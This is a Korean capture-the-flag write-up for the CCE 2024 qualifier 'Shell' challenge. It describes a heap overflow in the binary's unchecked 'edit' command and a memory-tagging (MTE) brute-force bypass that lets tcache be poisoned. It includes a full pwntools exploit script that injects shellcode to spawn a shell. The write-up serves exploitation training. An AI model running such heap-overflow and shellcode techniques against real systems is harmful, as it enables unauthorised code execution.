CCE 2024 Qual - Shell

Posted on Sat 17 August 2024 in CTF

문제 분석

바이너리는 간단한 파일 시스템이 구현되어 있는 shell 이다. 하지만 여기서 명시적으로 호출하는 malloc과 free는 mte가 적용되어 있다.

Shell에서 가능한 동작은 다음과 같다:

  • echo
  • ls
  • touch
  • delete == rm
  • insert
  • edit
  • cat
  • exit

여기서 insert와 edit이 특이한데, insert는 length를 받아 mte_malloc을 통해 내용의 버퍼를 설정하고 내용을 변경한다. 하지만 edit은 length를 입력받고 아무런 검증 없이 내용을 변경한다.

취약점

edit 함수를 통해 Heap overflow가 가능하다.

익스플로잇

MTE는 브루트 포스를 통해 우회가 가능하므로[1]_ Tcache의 FD를 바꿔 임의 주소 할당을 할 수 있다. 그리고 바이너리를 qemu-aarch64-static을 통해 실행되므로 베이스 주소를 구할 필요가 없다.

from pwn import *

context.log_level = 'debug'
context.arch='aarch64'
context.bits=64

def send_cmd(s:str|bytes):
    if isinstance(s, str):
        s = s.encode()
    p.sendlineafter(b'$', s)
    time.sleep(0.3)

def send(s:str|bytes):
    if isinstance(s, str):
        s = s.encode()
    p.send(s)

def sendline(s:str|bytes):
    if isinstance(s, str):
        s = s.encode()
    p.sendline(s)

p = process(argv=['qemu-aarch64-static', '-L', './aarch64-linux-gnu', '-g', '1234', './prob'])
elf = ELF('./prob')
libc = ELF('./aarch64-linux-gnu/lib/libc.so.6')

send_cmd('a '*(0x100//2))
send_cmd('touch a' + ' ' + 'a'*(0x30-8-1))
send_cmd(f'insert a {0x20-8-1}') # heap:21
send('abcd')
send_cmd('cat a')

# send_cmd(f'edit a {0x28+8*3}')
# pl = b'a'*0x28
# pl += p64(0x31)
# pl += p64(0x0000005500015710)
# pl += p64(0x5501814b78)
# sendline(pl)

pl = p64(0x5501814b80)
pl += asm(shellcraft.sh())
send_cmd(f'edit a {len(pl)}')
pause()
send(pl)

p.interactive()
[1]https://book.hacktricks.xyz/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte